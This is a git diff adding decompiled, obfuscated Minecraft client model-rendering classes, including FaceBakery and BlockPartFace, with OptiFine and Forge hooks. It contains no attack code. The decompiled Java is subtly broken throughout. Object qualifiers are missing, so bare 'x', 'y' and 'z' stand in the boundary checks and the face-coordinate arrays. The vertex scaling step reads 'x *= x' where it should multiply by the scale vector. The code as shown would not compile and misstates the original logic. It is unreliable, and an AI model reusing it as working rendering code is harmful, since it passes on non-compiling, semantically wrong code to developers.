+      Iterator var5 = var4.entrySet().iterator();
+      
+      while (var5.hasNext())
+      {
+        Map.Entry var6 = (Map.Entry)var5.next();
+        EnumFacing var7 = func_178248_a((String)var6.getKey());
+        var3.put(var7, (BlockPartFace)p_178253_1_.deserialize((JsonElement)var6.getValue(), BlockPartFace.class));
+      }
+      
+      return var3;
+    }
+    
+    private EnumFacing func_178248_a(String p_178248_1_)
+    {
+      EnumFacing var2 = EnumFacing.byName(p_178248_1_);
+      
+      if (var2 == null)
+      {
+        throw new JsonParseException("Unknown facing: " + p_178248_1_);
+      }
+      
+
+      return var2;
+    }
+    
+
+    private Vector3f func_178247_d(JsonObject p_178247_1_)
+    {
+      Vector3f var2 = func_178251_a(p_178247_1_, "to");
+      
+      if ((x >= -16.0F) && (y >= -16.0F) && (z >= -16.0F) && (x <= 32.0F) && (y <= 32.0F) && (z <= 32.0F))
+      {
+        return var2;
+      }
+      
+
+      throw new JsonParseException("'to' specifier exceeds the allowed boundaries: " + var2);
+    }
+    
+
+    private Vector3f func_178249_e(JsonObject p_178249_1_)
+    {
+      Vector3f var2 = func_178251_a(p_178249_1_, "from");
+      
+      if ((x >= -16.0F) && (y >= -16.0F) && (z >= -16.0F) && (x <= 32.0F) && (y <= 32.0F) && (z <= 32.0F))
+      {
+        return var2;
+      }
+      
+
+      throw new JsonParseException("'from' specifier exceeds the allowed boundaries: " + var2);
+    }
+    
+
+    private Vector3f func_178251_a(JsonObject p_178251_1_, String p_178251_2_)
+    {
+      JsonArray var3 = JsonUtils.getJsonObjectJsonArrayField(p_178251_1_, p_178251_2_);
+      
+      if (var3.size() != 3)
+      {
+        throw new JsonParseException("Expected 3 " + p_178251_2_ + " values, found: " + var3.size());
+      }
+      
+
+      float[] var4 = new float[3];
+      
+      for (int var5 = 0; var5 < var4.length; var5++)
+      {
+        var4[var5] = JsonUtils.getJsonElementFloatValue(var3.get(var5), p_178251_2_ + "[" + var5 + "]");
+      }
+      
+      return new Vector3f(var4);
+    }
+    
+
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178254_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178234_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002510";
+    
+    static
+    {
+      try
+      {
+        field_178234_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178234_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178234_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178234_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178234_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_178234_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartFace.java b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartFace.java
new file mode 100644
index 0000000..d5a623b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartFace.java
@@ -0,0 +1,63 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import java.lang.reflect.Type;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.JsonUtils;
+
+public class BlockPartFace
+{
+  public static final EnumFacing field_178246_a = null;
+  public final EnumFacing field_178244_b;
+  public final int field_178245_c;
+  public final String field_178242_d;
+  public final BlockFaceUV field_178243_e;
+  private static final String __OBFID = "CL_00002508";
+  
+  public BlockPartFace(EnumFacing p_i46230_1_, int p_i46230_2_, String p_i46230_3_, BlockFaceUV p_i46230_4_)
+  {
+    field_178244_b = p_i46230_1_;
+    field_178245_c = p_i46230_2_;
+    field_178242_d = p_i46230_3_;
+    field_178243_e = p_i46230_4_;
+  }
+  
+  static class Deserializer implements JsonDeserializer {
+    private static final String __OBFID = "CL_00002507";
+    
+    Deserializer() {}
+    
+    public BlockPartFace func_178338_a(JsonElement p_178338_1_, Type p_178338_2_, JsonDeserializationContext p_178338_3_) {
+      JsonObject var4 = p_178338_1_.getAsJsonObject();
+      EnumFacing var5 = func_178339_c(var4);
+      int var6 = func_178337_a(var4);
+      String var7 = func_178340_b(var4);
+      BlockFaceUV var8 = (BlockFaceUV)p_178338_3_.deserialize(var4, BlockFaceUV.class);
+      return new BlockPartFace(var5, var6, var7, var8);
+    }
+    
+    protected int func_178337_a(JsonObject p_178337_1_)
+    {
+      return JsonUtils.getJsonObjectIntegerFieldValueOrDefault(p_178337_1_, "tintindex", -1);
+    }
+    
+    private String func_178340_b(JsonObject p_178340_1_)
+    {
+      return JsonUtils.getJsonObjectStringFieldValue(p_178340_1_, "texture");
+    }
+    
+    private EnumFacing func_178339_c(JsonObject p_178339_1_)
+    {
+      String var2 = JsonUtils.getJsonObjectStringFieldValueOrDefault(p_178339_1_, "cullface", "");
+      return EnumFacing.byName(var2);
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_178338_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartRotation.java b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartRotation.java
new file mode 100644
index 0000000..6e29f94
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BlockPartRotation.java
@@ -0,0 +1,21 @@
+package net.minecraft.client.renderer.block.model;
+
+import javax.vecmath.Vector3f;
+import net.minecraft.util.EnumFacing.Axis;
+
+public class BlockPartRotation
+{
+  public final Vector3f field_178344_a;
+  public final EnumFacing.Axis field_178342_b;
+  public final float field_178343_c;
+  public final boolean field_178341_d;
+  private static final String __OBFID = "CL_00002506";
+  
+  public BlockPartRotation(Vector3f p_i46229_1_, EnumFacing.Axis p_i46229_2_, float p_i46229_3_, boolean p_i46229_4_)
+  {
+    field_178344_a = p_i46229_1_;
+    field_178342_b = p_i46229_2_;
+    field_178343_c = p_i46229_3_;
+    field_178341_d = p_i46229_4_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/BreakingFour.java b/src/minecraft/net/minecraft/client/renderer/block/model/BreakingFour.java
new file mode 100644
index 0000000..c5ebee3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/BreakingFour.java
@@ -0,0 +1,134 @@
+package net.minecraft.client.renderer.block.model;
+
+import java.util.Arrays;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.EnumFacing;
+
+public class BreakingFour extends BakedQuad
+{
+  private final TextureAtlasSprite texture;
+  private static final String __OBFID = "CL_00002492";
+  
+  public BreakingFour(BakedQuad p_i46217_1_, TextureAtlasSprite p_i46217_2_)
+  {
+    super(Arrays.copyOf(p_i46217_1_.func_178209_a(), p_i46217_1_.func_178209_a().length), field_178213_b, FaceBakery.func_178410_a(p_i46217_1_.func_178209_a()));
+    texture = p_i46217_2_;
+    func_178217_e();
+  }
+  
+  private void func_178217_e()
+  {
+    for (int var1 = 0; var1 < 4; var1++)
+    {
+      func_178216_a(var1);
+    }
+  }
+  
+  private void func_178216_a(int p_178216_1_)
+  {
+    int step = field_178215_a.length / 4;
+    int var2 = step * p_178216_1_;
+    float var3 = Float.intBitsToFloat(field_178215_a[var2]);
+    float var4 = Float.intBitsToFloat(field_178215_a[(var2 + 1)]);
+    float var5 = Float.intBitsToFloat(field_178215_a[(var2 + 2)]);
+    float var6 = 0.0F;
+    float var7 = 0.0F;
+    
+    switch (SwitchEnumFacing.field_178419_a[face.ordinal()])
+    {
+    case 1: 
+      var6 = var3 * 16.0F;
+      var7 = (1.0F - var5) * 16.0F;
+      break;
+    
+    case 2: 
+      var6 = var3 * 16.0F;
+      var7 = var5 * 16.0F;
+      break;
+    
+    case 3: 
+      var6 = (1.0F - var3) * 16.0F;
+      var7 = (1.0F - var4) * 16.0F;
+      break;
+    
+    case 4: 
+      var6 = var3 * 16.0F;
+      var7 = (1.0F - var4) * 16.0F;
+      break;
+    
+    case 5: 
+      var6 = var5 * 16.0F;
+      var7 = (1.0F - var4) * 16.0F;
+      break;
+    
+    case 6: 
+      var6 = (1.0F - var5) * 16.0F;
+      var7 = (1.0F - var4) * 16.0F;
+    }
+    
+    field_178215_a[(var2 + 4)] = Float.floatToRawIntBits(texture.getInterpolatedU(var6));
+    field_178215_a[(var2 + 4 + 1)] = Float.floatToRawIntBits(texture.getInterpolatedV(var7));
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178419_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002491";
+    
+    static
+    {
+      try
+      {
+        field_178419_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178419_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178419_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178419_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178419_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_178419_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/FaceBakery.java b/src/minecraft/net/minecraft/client/renderer/block/model/FaceBakery.java
new file mode 100644
index 0000000..a13bfd5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/FaceBakery.java
@@ -0,0 +1,540 @@
+package net.minecraft.client.renderer.block.model;
+
+import javax.vecmath.AxisAngle4d;
+import javax.vecmath.Matrix4d;
+import javax.vecmath.Vector3d;
+import javax.vecmath.Vector3f;
+import net.minecraft.client.renderer.EnumFaceing;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.resources.model.ModelRotation;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3i;
+import net.minecraftforge.client.model.ITransformation;
+import optifine.Config;
+import optifine.Reflector;
+import shadersmod.client.Shaders;
+
+public class FaceBakery
+{
+  private static final double field_178418_a = 1.0D / Math.cos(0.39269908169872414D) - 1.0D;
+  private static final double field_178417_b = 1.0D / Math.cos(0.7853981633974483D) - 1.0D;
+  private static final String __OBFID = "CL_00002490";
+  
+  public FaceBakery() {}
+  
+  public BakedQuad func_178414_a(Vector3f posFrom, Vector3f posTo, BlockPartFace face, TextureAtlasSprite sprite, EnumFacing facing, ModelRotation modelRotationIn, BlockPartRotation partRotation, boolean uvLocked, boolean shade) { return makeBakedQuad(posFrom, posTo, face, sprite, facing, modelRotationIn, partRotation, uvLocked, shade); }
+  
+
+  public BakedQuad makeBakedQuad(Vector3f posFrom, Vector3f posTo, BlockPartFace face, TextureAtlasSprite sprite, EnumFacing facing, ITransformation modelRotationIn, BlockPartRotation partRotation, boolean uvLocked, boolean shade)
+  {
+    int[] var10 = makeQuadVertexData(face, sprite, facing, func_178403_a(posFrom, posTo), modelRotationIn, partRotation, uvLocked, shade);
+    EnumFacing var11 = func_178410_a(var10);
+    
+    if (uvLocked)
+    {
+      func_178409_a(var10, var11, field_178243_e, sprite);
+    }
+    
+    if (partRotation == null)
+    {
+      func_178408_a(var10, var11);
+    }
+    
+    if (Reflector.ForgeHooksClient_fillNormal.exists())
+    {
+      Reflector.callVoid(Reflector.ForgeHooksClient_fillNormal, new Object[] { var10, var11 });
+    }
+    
+    return new BakedQuad(var10, field_178245_c, var11, sprite);
+  }
+  
+  private int[] makeQuadVertexData(BlockPartFace p_178405_1_, TextureAtlasSprite p_178405_2_, EnumFacing p_178405_3_, float[] p_178405_4_, ITransformation p_178405_5_, BlockPartRotation p_178405_6_, boolean p_178405_7_, boolean shade)
+  {
+    byte vertexSize = 28;
+    
+    if (Config.isShaders())
+    {
+      vertexSize = 56;
+    }
+    
+    int[] var9 = new int[vertexSize];
+    
+    for (int var10 = 0; var10 < 4; var10++)
+    {
+      fillVertexData(var9, var10, p_178405_3_, p_178405_1_, p_178405_4_, p_178405_2_, p_178405_5_, p_178405_6_, p_178405_7_, shade);
+    }
+    
+    return var9;
+  }
+  
+  private int func_178413_a(EnumFacing p_178413_1_)
+  {
+    float var2 = func_178412_b(p_178413_1_);
+    int var3 = MathHelper.clamp_int((int)(var2 * 255.0F), 0, 255);
+    return 0xFF000000 | var3 << 16 | var3 << 8 | var3;
+  }
+  
+  private float func_178412_b(EnumFacing p_178412_1_)
+  {
+    switch (SwitchEnumFacing.field_178400_a[p_178412_1_.ordinal()])
+    {
+    case 1: 
+      if (Config.isShaders())
+      {
+        return Shaders.blockLightLevel05;
+      }
+      
+      return 0.5F;
+    
+    case 2: 
+      return 1.0F;
+    
+    case 3: 
+    case 4: 
+      if (Config.isShaders())
+      {
+        return Shaders.blockLightLevel08;
+      }
+      
+      return 0.8F;
+    
+    case 5: 
+    case 6: 
+      if (Config.isShaders())
+      {
+        return Shaders.blockLightLevel06;
+      }
+      
+      return 0.6F;
+    }
+    
+    return 1.0F;
+  }
+  
+
+  private float[] func_178403_a(Vector3f pos1, Vector3f pos2)
+  {
+    float[] var3 = new float[EnumFacing.values().length];
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179176_f] = (x / 16.0F);
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179178_e] = (y / 16.0F);
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179177_d] = (z / 16.0F);
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179180_c] = (x / 16.0F);
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179179_b] = (y / 16.0F);
+    var3[net.minecraft.client.renderer.EnumFaceing.Constants.field_179181_a] = (z / 16.0F);
+    return var3;
+  }
+  
+  private void fillVertexData(int[] faceData, int vertexIndex, EnumFacing facing, BlockPartFace partFace, float[] p_178402_5_, TextureAtlasSprite sprite, ITransformation modelRotationIn, BlockPartRotation partRotation, boolean uvLocked, boolean shade)
+  {
+    EnumFacing var11 = modelRotationIn.rotate(facing);
+    int var12 = shade ? func_178413_a(var11) : -1;
+    net.minecraft.client.renderer.EnumFaceing.VertexInformation var13 = EnumFaceing.func_179027_a(facing).func_179025_a(vertexIndex);
+    Vector3d var14 = new Vector3d(p_178402_5_[field_179184_a], p_178402_5_[field_179182_b], p_178402_5_[field_179183_c]);
+    func_178407_a(var14, partRotation);
+    int var15 = rotateVertex(var14, facing, vertexIndex, modelRotationIn, uvLocked);
+    func_178404_a(faceData, var15, vertexIndex, var14, var12, sprite, field_178243_e);
+  }
+  
+  private void func_178404_a(int[] faceData, int storeIndex, int vertexIndex, Vector3d position, int shadeColor, TextureAtlasSprite sprite, BlockFaceUV faceUV)
+  {
+    int step = faceData.length / 4;
+    int var8 = storeIndex * step;
+    faceData[var8] = Float.floatToRawIntBits((float)x);
+    faceData[(var8 + 1)] = Float.floatToRawIntBits((float)y);
+    faceData[(var8 + 2)] = Float.floatToRawIntBits((float)z);
+    faceData[(var8 + 3)] = shadeColor;
+    faceData[(var8 + 4)] = Float.floatToRawIntBits(sprite.getInterpolatedU(faceUV.func_178348_a(vertexIndex)));
+    faceData[(var8 + 4 + 1)] = Float.floatToRawIntBits(sprite.getInterpolatedV(faceUV.func_178346_b(vertexIndex)));
+  }
+  
+  private void func_178407_a(Vector3d p_178407_1_, BlockPartRotation p_178407_2_)
+  {
+    if (p_178407_2_ != null)
+    {
+      Matrix4d var3 = func_178411_a();
+      Vector3d var4 = new Vector3d(0.0D, 0.0D, 0.0D);
+      
+      switch (SwitchEnumFacing.field_178399_b[field_178342_b.ordinal()])
+      {
+      case 1: 
+        var3.mul(func_178416_a(new AxisAngle4d(1.0D, 0.0D, 0.0D, field_178343_c * 0.017453292519943295D)));
+        var4.set(0.0D, 1.0D, 1.0D);
+        break;
+      
+      case 2: 
+        var3.mul(func_178416_a(new AxisAngle4d(0.0D, 1.0D, 0.0D, field_178343_c * 0.017453292519943295D)));
+        var4.set(1.0D, 0.0D, 1.0D);
+        break;
+      
+      case 3: 
+        var3.mul(func_178416_a(new AxisAngle4d(0.0D, 0.0D, 1.0D, field_178343_c * 0.017453292519943295D)));
+        var4.set(1.0D, 1.0D, 0.0D);
+      }
+      
+      if (field_178341_d)
+      {
+        if (Math.abs(field_178343_c) == 22.5F)
+        {
+          var4.scale(field_178418_a);
+        }
+        else
+        {
+          var4.scale(field_178417_b);
+        }
+        
+        var4.add(new Vector3d(1.0D, 1.0D, 1.0D));
+      }
+      else
+      {
+        var4.set(new Vector3d(1.0D, 1.0D, 1.0D));
+      }
+      
+      func_178406_a(p_178407_1_, new Vector3d(field_178344_a), var3, var4);
+    }
+  }
+  
+  public int func_178415_a(Vector3d position, EnumFacing facing, int vertexIndex, ModelRotation modelRotationIn, boolean uvLocked)
+  {
+    return rotateVertex(position, facing, vertexIndex, modelRotationIn, uvLocked);
+  }
+  
+  public int rotateVertex(Vector3d position, EnumFacing facing, int vertexIndex, ITransformation modelRotationIn, boolean uvLocked)
+  {
+    if (modelRotationIn == ModelRotation.X0_Y0)
+    {
+      return vertexIndex;
+    }
+    
+
+    if (Reflector.ForgeHooksClient_transform.exists())
+    {
+      Reflector.call(Reflector.ForgeHooksClient_transform, new Object[] { position, modelRotationIn.getMatrix() });
+    }
+    else
+    {
+      func_178406_a(position, new Vector3d(0.5D, 0.5D, 0.5D), new Matrix4d(modelRotationIn.getMatrix()), new Vector3d(1.0D, 1.0D, 1.0D));
+    }
+    
+    return modelRotationIn.rotate(facing, vertexIndex);
+  }
+  
+
+  private void func_178406_a(Vector3d position, Vector3d rotationOrigin, Matrix4d rotationMatrix, Vector3d scale)
+  {
+    position.sub(rotationOrigin);
+    rotationMatrix.transform(position);
+    x *= x;
+    y *= y;
+    z *= z;
+    position.add(rotationOrigin);
+  }
+  
+  private Matrix4d func_178416_a(AxisAngle4d p_178416_1_)
+  {
+    Matrix4d var2 = func_178411_a();
+    var2.setRotation(p_178416_1_);
+    return var2;
+  }
+  
+  private Matrix4d func_178411_a()
+  {
+    Matrix4d var1 = new Matrix4d();
+    var1.setIdentity();
+    return var1;
+  }
+  
+  public static EnumFacing func_178410_a(int[] p_178410_0_)
+  {
+    int step = p_178410_0_.length / 4;
+    int step2 = step * 2;
+    int step3 = step * 3;
+    Vector3f var1 = new Vector3f(Float.intBitsToFloat(p_178410_0_[0]), Float.intBitsToFloat(p_178410_0_[1]), Float.intBitsToFloat(p_178410_0_[2]));
+    Vector3f var2 = new Vector3f(Float.intBitsToFloat(p_178410_0_[step]), Float.intBitsToFloat(p_178410_0_[(step + 1)]), Float.intBitsToFloat(p_178410_0_[(step + 2)]));
+    Vector3f var3 = new Vector3f(Float.intBitsToFloat(p_178410_0_[step2]), Float.intBitsToFloat(p_178410_0_[(step2 + 1)]), Float.intBitsToFloat(p_178410_0_[(step2 + 2)]));
+    Vector3f var4 = new Vector3f();
+    Vector3f var5 = new Vector3f();
+    Vector3f var6 = new Vector3f();
+    var4.sub(var1, var2);
+    var5.sub(var3, var2);
+    var6.cross(var5, var4);
+    var6.normalize();
+    EnumFacing var7 = null;
+    float var8 = 0.0F;
+    EnumFacing[] var9 = EnumFacing.values();
+    int var10 = var9.length;
+    
+    for (int var11 = 0; var11 < var10; var11++)
+    {
+      EnumFacing var12 = var9[var11];
+      Vec3i var13 = var12.getDirectionVec();
+      Vector3f var14 = new Vector3f(var13.getX(), var13.getY(), var13.getZ());
+      float var15 = var6.dot(var14);
+      
+      if ((var15 >= 0.0F) && (var15 > var8))
+      {
+        var8 = var15;
+        var7 = var12;
+      }
+    }
+    
+    if (var8 < 0.719F)
+    {
+      if ((var7 != EnumFacing.EAST) && (var7 != EnumFacing.WEST) && (var7 != EnumFacing.NORTH) && (var7 != EnumFacing.SOUTH))
+      {
+        var7 = EnumFacing.UP;
+      }
+      else
+      {
+        var7 = EnumFacing.NORTH;
+      }
+    }
+    
+    return var7 == null ? EnumFacing.UP : var7;
+  }
+  
+  public void func_178409_a(int[] p_178409_1_, EnumFacing p_178409_2_, BlockFaceUV p_178409_3_, TextureAtlasSprite p_178409_4_)
+  {
+    for (int var5 = 0; var5 < 4; var5++)
+    {
+      func_178401_a(var5, p_178409_1_, p_178409_2_, p_178409_3_, p_178409_4_);
+    }
+  }
+  
+  private void func_178408_a(int[] p_178408_1_, EnumFacing p_178408_2_)
+  {
+    int[] var3 = new int[p_178408_1_.length];
+    System.arraycopy(p_178408_1_, 0, var3, 0, p_178408_1_.length);
+    float[] var4 = new float[EnumFacing.values().length];
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179176_f] = 999.0F;
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179178_e] = 999.0F;
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179177_d] = 999.0F;
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179180_c] = -999.0F;
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179179_b] = -999.0F;
+    var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179181_a] = -999.0F;
+    int step = p_178408_1_.length / 4;
+    
+
+
+    for (int var17 = 0; var17 < 4; var17++)
+    {
+      int var6 = step * var17;
+      float var18 = Float.intBitsToFloat(var3[var6]);
+      float var19 = Float.intBitsToFloat(var3[(var6 + 1)]);
+      float var9 = Float.intBitsToFloat(var3[(var6 + 2)]);
+      
+      if (var18 < var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179176_f])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179176_f] = var18;
+      }
+      
+      if (var19 < var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179178_e])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179178_e] = var19;
+      }
+      
+      if (var9 < var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179177_d])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179177_d] = var9;
+      }
+      
+      if (var18 > var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179180_c])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179180_c] = var18;
+      }
+      
+      if (var19 > var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179179_b])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179179_b] = var19;
+      }
+      
+      if (var9 > var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179181_a])
+      {
+        var4[net.minecraft.client.renderer.EnumFaceing.Constants.field_179181_a] = var9;
+      }
+    }
+    
+    EnumFaceing var181 = EnumFaceing.func_179027_a(p_178408_2_);
+    
+    for (int var6 = 0; var6 < 4; var6++)
+    {
+      int var191 = step * var6;
+      net.minecraft.client.renderer.EnumFaceing.VertexInformation var20 = var181.func_179025_a(var6);
+      float var9 = var4[field_179184_a];
+      float var10 = var4[field_179182_b];
+      float var11 = var4[field_179183_c];
+      p_178408_1_[var191] = Float.floatToRawIntBits(var9);
+      p_178408_1_[(var191 + 1)] = Float.floatToRawIntBits(var10);
+      p_178408_1_[(var191 + 2)] = Float.floatToRawIntBits(var11);
+      
+      for (int var12 = 0; var12 < 4; var12++)
+      {
+        int var13 = step * var12;
+        float var14 = Float.intBitsToFloat(var3[var13]);
+        float var15 = Float.intBitsToFloat(var3[(var13 + 1)]);
+        float var16 = Float.intBitsToFloat(var3[(var13 + 2)]);
+        
+        if ((MathHelper.func_180185_a(var9, var14)) && (MathHelper.func_180185_a(var10, var15)) && (MathHelper.func_180185_a(var11, var16)))
+        {
+          p_178408_1_[(var191 + 4)] = var3[(var13 + 4)];
+          p_178408_1_[(var191 + 4 + 1)] = var3[(var13 + 4 + 1)];
+        }
+      }
+    }
+  }
+  
+  private void func_178401_a(int p_178401_1_, int[] p_178401_2_, EnumFacing p_178401_3_, BlockFaceUV p_178401_4_, TextureAtlasSprite p_178401_5_)
+  {
+    int step = p_178401_2_.length / 4;
+    int var6 = step * p_178401_1_;
+    float var7 = Float.intBitsToFloat(p_178401_2_[var6]);
+    float var8 = Float.intBitsToFloat(p_178401_2_[(var6 + 1)]);
+    float var9 = Float.intBitsToFloat(p_178401_2_[(var6 + 2)]);
+    
+    if ((var7 < -0.1F) || (var7 >= 1.1F))
+    {
+      var7 -= MathHelper.floor_float(var7);
+    }
+    
+    if ((var8 < -0.1F) || (var8 >= 1.1F))
+    {
+      var8 -= MathHelper.floor_float(var8);
+    }
+    
+    if ((var9 < -0.1F) || (var9 >= 1.1F))
+    {
+      var9 -= MathHelper.floor_float(var9);
+    }
+    
+    float var10 = 0.0F;
+    float var11 = 0.0F;
+    
+    switch (SwitchEnumFacing.field_178400_a[p_178401_3_.ordinal()])
+    {
+    case 1: 
+      var10 = var7 * 16.0F;
+      var11 = (1.0F - var9) * 16.0F;
+      break;
+    
+    case 2: 
+      var10 = var7 * 16.0F;
+      var11 = var9 * 16.0F;
+      break;
+    
+    case 3: 
+      var10 = (1.0F - var7) * 16.0F;
+      var11 = (1.0F - var8) * 16.0F;
+      break;
+    
+    case 4: 
+      var10 = var7 * 16.0F;
+      var11 = (1.0F - var8) * 16.0F;
+      break;
+    
+    case 5: 
+      var10 = var9 * 16.0F;
+      var11 = (1.0F - var8) * 16.0F;
+      break;
+    
+    case 6: 
+      var10 = (1.0F - var9) * 16.0F;
+      var11 = (1.0F - var8) * 16.0F;
+    }
+    
+    int var12 = p_178401_4_.func_178345_c(p_178401_1_) * step;
+    p_178401_2_[(var12 + 4)] = Float.floatToRawIntBits(p_178401_5_.getInterpolatedU(var10));
+    p_178401_2_[(var12 + 4 + 1)] = Float.floatToRawIntBits(p_178401_5_.getInterpolatedV(var11));
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_178400_a;
+    static final int[] field_178399_b = new int[net.minecraft.util.EnumFacing.Axis.values().length];
+    private static final String __OBFID = "CL_00002489";
+    
+    static
+    {
+      try
+      {
+        field_178399_b[net.minecraft.util.EnumFacing.Axis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178399_b[net.minecraft.util.EnumFacing.Axis.Y.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178399_b[net.minecraft.util.EnumFacing.Axis.Z.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      field_178400_a = new int[EnumFacing.values().length];
+      
+      try
+      {
+        field_178400_a[EnumFacing.DOWN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178400_a[EnumFacing.UP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_178400_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_178400_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_178400_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_178400_a[EnumFacing.EAST.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/block/model/ItemCameraTransforms.java b/src/minecraft/net/minecraft/client/renderer/block/model/ItemCameraTransforms.java
new file mode 100644
index 0000000..20d4920
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/block/model/ItemCameraTransforms.java
@@ -0,0 +1,80 @@
+package net.minecraft.client.renderer.block.model;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import java.lang.reflect.Type;
+
+public class ItemCameraTransforms
+{
+  public static final ItemCameraTransforms field_178357_a = new ItemCameraTransforms(ItemTransformVec3f.field_178366_a, ItemTransformVec3f.field_178366_a, ItemTransformVec3f.field_178366_a, ItemTransformVec3f.field_178366_a);
+  public final ItemTransformVec3f field_178355_b;
+  public final ItemTransformVec3f field_178356_c;
+  public final ItemTransformVec3f field_178353_d;
